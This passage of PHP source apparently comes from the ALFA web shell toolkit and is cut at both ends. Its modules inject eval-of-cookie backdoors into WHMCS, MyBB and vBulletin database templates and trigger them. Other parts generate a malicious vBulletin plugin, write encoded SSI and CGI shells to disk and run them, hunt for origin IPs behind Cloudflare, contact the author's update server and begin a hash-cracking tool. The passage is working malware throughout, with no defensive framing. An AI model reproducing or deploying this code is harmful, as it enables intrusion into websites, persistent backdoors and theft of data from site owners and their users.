|<\/a><\/h3><\/center>';\r\n$selector = '<p><div class=\"txtfont\">Shell Inject Method : <\/div> <select name=\"method\" style=\"width:100px;\"><option value=\"auto\">AutoMatic<\/option><option value=\"man\">Manuel<\/option><\/select><\/p>';\r\nif(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){\r\nAlfaNum();\r\necho __pre().\"<p><div class='txtfont_header'>| WHMCS |<\/div><\/p><center><center><p>\".getConfigHtml('whmcs').\"<\/p><form onSubmit=\\\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\\\" method='post'>\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http:\/\/site.com\/whmcs', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho \"<p><input type='submit' value=' '><\/p><\/form><\/center><\/td><\/tr><\/table><\/center>\";\r\nif(isset($_POST['alfa6'])) {\r\n$dbu = $_POST['alfa6'];\r\n$dbn = $_POST['alfa7'];\r\n$dbp = $_POST['alfa8'];\r\n$dbh = $_POST['alfa9'];\r\n$path = $_POST['alfa10'];\r\n$method = $_POST['alfa4'];\r\n$index = \"{php}\".ALFA_UPLOADER.\";{\/php}\";\r\n$newin = str_replace(\"'\",\"\\'\",$index);\r\n$newindex = \"<p>Dear $newin,<\/p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.<\/p><p>To reset your password, please visit the url below:<br \/><a href=\\\"{\\$pw_reset_url}\\\">{\\$pw_reset_url}<\/a><\/p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.<\/p><p>{\\$signature}<\/p>{php}if(\\$_COOKIE[\\\"sec\\\"] == \\\"123\\\"){eval(base64_decode(\\$_COOKIE[\\\"sec2\\\"])); die(\\\"!\\\");}{\\\/php}\";\r\nif(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){\r\nif(filter_var($path,FILTER_VALIDATE_URL)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());\r\n$soleSave= mysqli_query($conn,\"select message from tblemailtemplates where name='Password Reset Validation'\");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet['message'];\r\n$tempSave = str_replace(\"'\",\"\\'\",$tempSave1);\r\nmysqli_query($conn,\"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'\") or die (mysqli_error($conn));\r\n$inject = \"UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'\";\r\n$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = \"insert into tblclients (email) values('solevisible@fbi.gov')\";\r\n$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists('curl_version') && $method == 'auto'){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path.\"\/pwreset.php\");\r\n$getToken = preg_match(\"\/name=\\\"token\\\" value=\\\"(.*?)\\\"\/i\",$saveurl,$token);\r\n$AlfaSole->Send($path.\"\/pwreset.php\",\"post\",\"token={$token[1]}&action=reset&email=solevisible@fbi.gov\");\r\n$backdata = \"UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'\";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert(\"shell injectet...\");\r\n$ff= 'http:\/\/'.$path.\"\/solevisible.php\";\r\noutput($ff);}else{\r\necho \"<br><pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\"><br><center><b><font color=\\\"#FFFFFF\\\">Please go to Target => <\/font><a href='\".$path.\"\/pwreset.php' target='_blank'>\".$path.\"\/pwreset.php<\/a><br\/><font color='#FFFFFF'> And Reset Password With Email<\/font> => <font color=red>solevisible@fbi.gov<\/font><br\/><font color='#FFFFFF'>And Go To => <\/font><a href='\".$path.\"\/solevisible.php' target='_blank'>\".$path.\"\/solevisible.php<\/a><\/b><\/center><br><br>\";}}else{__alert('Path is not Valid...');}}}\r\n}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){\r\nAlfaNum(1,2,3,5);\r\necho __pre().\"<p><div class='txtfont_header'>| MyBB |<\/div><\/p><center><center>\".getConfigHtml(\"mybb\").\"<form id='sendajax' onSubmit=\\\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\\\" method=POST>\r\n\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho \"<p><input type=submit value=' '><\/p><\/form><\/center><\/center>\";\r\nif(isset($_POST['alfa6'])) {\r\n$dbu = $_POST['alfa6'];\r\n$dbn = $_POST['alfa7'];\r\n$dbp = $_POST['alfa8'];\r\n$dbh = $_POST['alfa9'];\r\n$prefix = $_POST['alfa10'];\r\n$method = $_POST['alfa4'];\r\n$shellCode = \"{\\${\".ALFA_UPLOADER.\"}}\";\r\n$newinshell = str_replace(\"'\",\"\\'\",$shellCode);\r\nif (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$inject = \"select template from {$prefix}templates where title= 'calendar'\";\r\n$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));\r\n$GetTemp = mysqli_fetch_assoc($result);\r\n$saveDate = $GetTemp['template'];\r\n$repsave = str_replace($shellCode,\"\",$saveDate);\r\n$repsave = str_replace(\"'\",\"\\'\",$repsave);\r\n$createShell = \"update {$prefix}templates SET template= '\".$newinshell.$repsave.\"' where title = 'calendar'\";\r\n$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));\r\n$geturl = \"select value from {$prefix}settings where name= 'bburl'\";\r\n$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));\r\n$rowb = mysqli_fetch_assoc($findurl);\r\n$furl = $rowb['value'];\r\n$realurl = parse_url($furl,PHP_URL_HOST);\r\n$realpath = parse_url($furl,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){\r\nif ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, \"GET $realpath\/calendar.php HTTP\/1.1\\r\\n\");\r\n@fputs($fsock, \"HOST: $realurl\\r\\n\");\r\n@fputs($fsock, \"Connection: close\\r\\n\\r\\n\");\r\n$check = fgets($fsock);\r\nif(preg_match(\"\/200 OK\/i\",$check)){\r\n$repairdbtemp = \"update {$prefix}templates SET template= '$repsave' where title = 'calendar'\";\r\n$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}\r\n@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){\r\n$AlfaCurl->Send($realurl.$realpath.\"\/calendar.php\");\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\r\noutput($ff);\r\n}else{\r\n$ff = 'http:\/\/'.$realurl.$realpath.\"\/calendar.php\";\r\n$fff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\r\necho \"<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => <\/font><a href='\".$ff.\"' target='_blank'>\".$ff.\"<\/a><br\/><font color='#FFFFFF'>And Go To => <\/font><a href='\".$fff.\"' target='_blank'>\".$fff.\"<\/a><\/b><\/center><br><br>\";\r\n}}}}\r\nif(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){\r\nAlfaNum(1,2,7,9,10);\r\necho __pre().'<p><div class=\"txtfont_header\">| vbulletin |<\/div><\/p><p>'.getConfigHtml('vb').'<\/p><form name=\"frm\" method=\"POST\" onsubmit=\"g(\\'ShellInjectors\\',null,null,this.lo.value,\\'vb\\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;\">';\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho '<p><input type=\"submit\" value=\" \" \/><\/p><\/form><\/center>';\r\nif(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){\r\n$method = $_POST['alfa8'];\r\n$faq_name = \"faq\";\r\n$faq_file = \"\/faq.php\";\r\n$code = \"{\\${\".ALFA_UPLOADER.\"}}{\\${exit()}}&\";\r\n$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());\r\n$rec = \"select `template` from \".$_POST['alfa6'].\"template WHERE title ='\".$faq_name.\"'\";\r\n$recivedata = @mysqli_query($conn,$rec);\r\n$getd = @mysqli_fetch_assoc($recivedata);\r\n$savetoass = $getd['template'];\r\nif(empty($savetoass)){\r\n\t$faq_name = \"header\";\r\n\t$faq_file = \"\/\";\r\n\t$rec = \"select `template` from \".$_POST['alfa6'].\"template WHERE title ='\".$faq_name.\"'\";\r\n\t$recivedata = @mysqli_query($conn,$rec);\r\n\t$getd = @mysqli_fetch_assoc($recivedata);\r\n\t$savetoass = $getd['template'];\r\n\t$code = ALFA_UPLOADER.\";\";\r\n}\r\n$code = str_replace(\"'\",\"\\'\",$code);\r\n$p = \"UPDATE \".$_POST['alfa6'].\"template SET `template`='\".$code.\"' WHERE `title`='\".$faq_name.\"'\";\r\n$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));\r\n$geturl = @mysqli_query($conn,\"select `value` from \".$_POST['alfa6'].\"setting WHERE `varname`='bburl'\");\r\n$getval = @mysqli_fetch_assoc($geturl);\r\n$saveval = $getval['value'];\r\nif($faq_name == \"header\"){\r\n\tif(substr($saveval, -5, 5) == \"\/core\"){\r\n\t\t$saveval = substr($saveval, 0, -5);\r\n\t}\r\n}\r\n$realurl = parse_url($saveval,PHP_URL_HOST);\r\n$realpath = parse_url($saveval,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){\r\nif($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, \"GET $realpath.$faq_file HTTP\/1.1\\r\\n\");\r\n@fputs($fsock, \"HOST: $realurl\\r\\n\");\r\n@fputs($fsock, \"Connection: close\\r\\n\\r\\n\");\r\n$check = fgets($fsock);\r\nif(preg_match(\"\/200 OK\/i\",$check)){\r\n$p1 = \"UPDATE \".$_POST['alfa6'].\"template SET template ='\".mysqli_real_escape_string($conn,$savetoass).\"' WHERE title ='\".$faq_name.\"'\";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\n@fclose($fsock);\r\n}\r\n}elseif(function_exists('curl_version') && $method == 'auto'){\r\n$AlfaCurl->Send($realurl.$realpath.$faq_file);\r\n$p1 = \"UPDATE \".$_POST['alfa6'].\"template SET template ='\".mysqli_real_escape_string($conn,$savetoass).\"' WHERE title ='\".$faq_name.\"'\";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\r\noutput($ff);\r\n}else{\r\n$ff = 'http:\/\/'.$realurl.$realpath.$faq_file;\r\n$fff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\r\necho \"<center><p><font color=\\\"#FFFFFF\\\">First Open This Link => <\/font><a href='\".$ff.\"' target='_blank'>\".$ff.\"<\/a><br\/><font color=\\\"#FFFFFF\\\">Second Open This Link => <\/font><a href='\".$fff.\"' target='_blank'>\".$fff.\"<\/a><\/center><\/p>\";}}}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfacheckfiletype(){\r\n\t$path = $_POST['path'];\r\n\t$arg = $_POST['arg'];\r\n\tif(@is_file($path.'\/'.$arg)){\r\n\t\techo(\"file\");\r\n\t}else{\r\n\t\techo(\"dir\");\r\n\t}\r\n}\r\nfunction alfacheckupdate(){\r\n\tif($GLOBALS[\"DB_NAME\"][\"cgi_api\"]){\r\n\t\tif(!isset($_COOKIE[\"alfacgiapi_mode\"])&&!isset($_COOKIE[\"alfacgiapi\"])){\r\n\t\t\t_alfa_cgicmd(\"whoami\",\"perl\",true);\r\n\t\t\tif(strlen(alfaEx(\"whoami\",false,true))>0){\r\n\t\t\t\t__alfa_set_cookie(\"alfa_canruncmd\", \"true\");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(function_exists(\"curl_version\")){\r\n\t\t$update = new AlfaCURL();\r\n\t\t$json = $update->Send(\"http:\/\/solevisible.com\/update.json?ver=\".__ALFA_VERSION__);\r\n\t\t$json = @json_decode($json,true);\r\n\t\t$data = array();\r\n\t\tif($json){\r\n\t\t\tif(!isset($_COOKIE['alfa_checkupdate']) && !empty($json[\"type\"])){\r\n\t\t\t\tif($json[\"type\"] == \"update\"){\r\n\t\t\t\t\tif(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){\r\n\t\t\t\t\t\t@setcookie(\"alfa_checkupdate\", \"1\", time()+86400);\r\n\t\t\t\t\t\t$data[\"content\"] = '<div class=\"update-holder\">'.$json[\"content\"].'<\/div>';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(isset($json[\"ads\"]) && !empty($json[\"ads\"])){\r\n\t\t\t\t$data[\"content\"] .= $json[\"ads\"];\r\n\t\t\t}\r\n\t\t\tif(isset($json[\"copyright\"]) && !empty($json[\"copyright\"])){\r\n\t\t\t\t$data[\"copyright\"] = $json[\"copyright\"];\r\n\t\t\t}\r\n\t\t\tif(isset($json[\"solevisible\"]) && !empty($json[\"solevisible\"])){\r\n\t\t\t\t$data[\"solevisible\"] = $json[\"solevisible\"];\r\n\t\t\t}\r\n\t\t\tif(isset($json[\"code_name\"]) && !empty($json[\"code_name\"])){\r\n\t\t\t\t$data[\"code_name\"] = $json[\"code_name\"];\r\n\t\t\t\t$data[\"version_number\"] = __ALFA_VERSION__;\r\n\t\t\t}\r\n\t\t\tif(isset($json[\"market\"]) && !empty($json[\"market\"])){\r\n\t\t\t\t$data[\"market\"] = $json[\"market\"];\r\n\t\t\t}\r\n\t\t\techo @json_encode($data);\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaWriteTocgiapi($name, $source){\r\n\t$temp = \"\";\r\n\t$not_api = array(\"basedir.alfa\", \"getdir.alfa\", \"getheader.alfa\");\r\n\tif(in_array($name, $not_api)){\r\n\t\t$temp = ALFA_TEMPDIR;\r\n\t\tif($temp){\r\n\t\t\t@chdir($temp);\r\n\t\t}\r\n\t}else{\r\n\t\talfaCreateParentFolder();\r\n\t\t@chdir($GLOBALS['home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\r\n\t}\r\n\t@mkdir('alfacgiapi',0755);\r\n\t__write_file(\"alfacgiapi\/\".$name, __get_resource($source));\r\n\t@chmod(\"alfacgiapi\/\".$name, 0755);\r\n\treturn $temp;\r\n}\r\nfunction alfacheckcgi(){if(strlen(alfaEx(\"id\",false,true,true))>0)echo(\"ok\");else echo(\"no\");}\r\nfunction alfaupdateheader(){\r\n\tif(!isset($_COOKIE[\"updateheader_data\"])){\r\n\t\t$bash = \"zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp\/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e\/1aeTElCQQk8UJgS\/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A\/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS\/62olOM5UXqQZZazf7AxvKu+JmB7d\/bd\/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq\/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s\/Nxvix23nahuki\/a9exANkvNTbrXq\/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+\/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB\/7sOnXbgs9KT2w6CzxW\/0fX6baH35ceGu1SnxBw==\";\r\n\t\t$realdir = addslashes(dirname($_SERVER[\"SCRIPT_FILENAME\"]));\r\n\t\t$tmp_path = alfaWriteTocgiapi(\"getheader.alfa\",$bash);\r\n\t\t$data = alfaEx(\"cd '{$tmp_path}\/alfacgiapi';sh getheader.alfa\",false,true,true);\r\n\t\tif(@is_array(@json_decode($data,true))){\r\n\t\t\t__alfa_set_cookie(\"updateheader_data\", __ZW5jb2Rlcg($data));\r\n\t\t\techo $data;\r\n\t\t}\r\n\t}else{\r\n\t\techo __ZGVjb2Rlcg($_COOKIE[\"updateheader_data\"]);\r\n\t}\r\n}\r\nfunction alfassiShell(){\r\nalfahead();\r\necho '<div class=header>';\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS['home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\r\n@mkdir('alfa_shtml',0755);\r\n@chdir('alfa_shtml');\r\nalfacgihtaccess('shtml');\r\n$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX\/+46SrChOnKRBA8ORyOPju3ePR\/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma\/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz\/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C\/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0\/5OlasMMAjkZVRhlS\/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof\/\/PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2\/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS\/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1\/G8eEhCS\/hDlfCpe\/YaEsbFzprFAvbPod+2WDaZhSQ\/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9\/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX\/f0u5xmWK\/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R\/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57\/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge\/G17DtzXBSCgR0LIFbPt8o\/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4\/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt\/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7\/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I\/WtfTrmv9WuHXul2ovK\/tz6Hw==';\r\n@__write_file('alfa_ssi.shtml',__get_resource($code));\r\n@chmod(\"alfa_ssi.shtml\",0755);\r\necho AlfaiFrameCreator('alfa_shtml\/alfa_ssi.shtml');\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfacloudflare(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho \"<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |<\/div><br><form action='' onsubmit=\\\"g('cloudflare',null,this.url.value,'>>'); return false;\\\" method='post'>\r\n<p><div class='txtfont'>Target:<\/div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\\\"target.com\\\"> <input type='submit' name='go' value=' ' \/><\/p><\/form><\/center>\";\r\nif($_POST['alfa2'] && $_POST['alfa2'] == '>>'){\r\n$url = $_POST['alfa1'];\r\nif(!preg_match('\/^(https?):\\\/\\\/(w{3}|w3)\\.\/i', $url)){\r\n$url = preg_replace('\/^(https?):\\\/\\\/\/', '', $url);\r\n$url = \"http:\/\/www.\".$url;\r\n}\r\n$headers = @get_headers($url, 1);\r\n$server = $headers['Server'];\r\n$subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');\r\nif(preg_match('\/^(https?):\\\/\\\/(w{3}|w3)\\.\/i', $url, $matches)){\r\nif($matches[2] != 'www'){$url = preg_replace('\/^(https?):\\\/\\\/\/', '', $url);}else{\r\n$url = explode($matches[0], $url);\r\n$url = $url[1];}}\r\nif(is_array($server))$server = $server[0];\r\necho __pre();\r\nif(preg_match('\/cloudflare\/i', $server))\r\necho \"\\n[+] CloudFlare detected: {$server}\\n<br>\";\r\nelse\r\necho \"\\n[+] CloudFlare wasn't detected, proceeding anyway.\\n\";\r\necho '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . \"\\n\\n<br><br>\";\r\necho \"[+] Searching for more IP addresses.\\n\\n<br><br>\";\r\nfor($x=0;$x<count($subs);$x++){\r\n$site = $subs[$x] . $url;\r\n$ip = is_ipv4(gethostbyname($site));\r\nif($ip == '(Null)')\r\ncontinue;\r\necho \"Trying {$site}: {$ip}\\n<br>\";\r\n}\r\necho \"\\n[+] Finished.\\n<br>\";\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction is_ipv4($ip){\r\nreturn filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';\r\n}\r\nfunction __alert($s){\r\necho '<center>'.__pre().$s.'<\/center>';\r\n}\r\nfunction create_table($data){\r\necho '<table border=\"1\">';\r\nforeach ($data as $key => $val){\r\n$array = array();\r\nforeach($val as $k => $v){\r\n$array[$k] = $v;\r\n}\r\necho \"<tr><td><div class='tbltxt'>\".$array['tdName'].\"<\/div><\/td><td><input type='text' id='\".$array['id'].\"' name='\".$array['inputName'].\"' \".($array['placeholder']?'placeholder':'value').\"='\".$array['inputValue'].\"' size='\".$array['inputSize'].\"' \".($array['disabled']?'disabled':'').\"><\/td><\/tr>\";\r\n}\r\necho '<\/table>';\r\n}\r\nfunction alfaphp2xml(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho \"<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |<\/div><\/p><form onsubmit=\\\"g('php2xml',null,this.code.value,'>>'); return false;\\\" method='post'>\r\n<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\\\"insert your shell code\\\"><\/textarea><br\/><br\/>\r\n<input type='submit' name='go' value=' ' \/><\/p><\/form><\/center>\";\r\nif($_POST['alfa2']&&$_POST['alfa2']=='>>'){\r\necho __pre().\"<p><center><textarea rows='10' name='users' cols='80'>\";\r\necho '<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><plugins><plugin active=\"1\" product=\"vbulletin\"><title>vBulletin<\/title><hookname>init_startup<\/hookname><phpcode><![CDATA[if (strpos($_SERVER[\\'PHP_SELF\\'],\"subscriptions.php\")){eval(base64_decode(\\''.__ZW5jb2Rlcg($_POST['alfa1']).'\\'));exit;}]]><\/phpcode><\/plugin><\/plugins>';\r\necho '<\/textarea><\/center><\/p>';\r\n}\r\necho '<\/center><\/div>';\r\nalfafooter();\r\n}\r\nfunction alfacpcrack(){\r\nalfahead();\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| Hash Tools |<\/div><\/p><h3><a href=javascript:void(0) onclick=\"g(\\'cpcrack\\',null,\\'dec\\')\">| DeCrypter | <\/a><a href=javascript:void(0) onclick=\"g(\\'cpcrack\\',null,\\'analyzer\\')\">| Hash Analyzer | <\/a><\/h3><\/center>';\r\nif($_POST['alfa1']=='dec'){\r\n$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');\r\necho '<center><div class=\"txtfont_header\">| DeCrypter |<\/div><br><br>\r\n<form onsubmit=\"g(\\'cpcrack\\',null,\\'dec\\',this.md5.value,\\'>>\\',this.alg.value); return false;\"><div class=\"txtfont\">Decrypt Method:<\/div> <select name=\"alg\" style=\"width:100px;\">';\r\nforeach($algorithms as $key=>$val){echo('<option value=\"'.$key.'\">'.$val.'<\/option>');}\r\necho'<\/select><input type=\"text\" placeholder=\"Hash\" name=\"md5\" size=\"60\" id=\"text\" \/> <input type=\"submit\" value=\" \" name=\"go\" \/><\/form><\/center><br>';\r\nif($_POST['alfa3'] == '>>'){\r\n$hash = $_POST['alfa2'];\r\nif(!empty($hash)){\r\n$hash_type = $_POST['alfa4'];\r\n$email = \"solevisible@gmail.com\";\r\n$code = \"7b9fa79f92c3cd96\";\r\n$target = 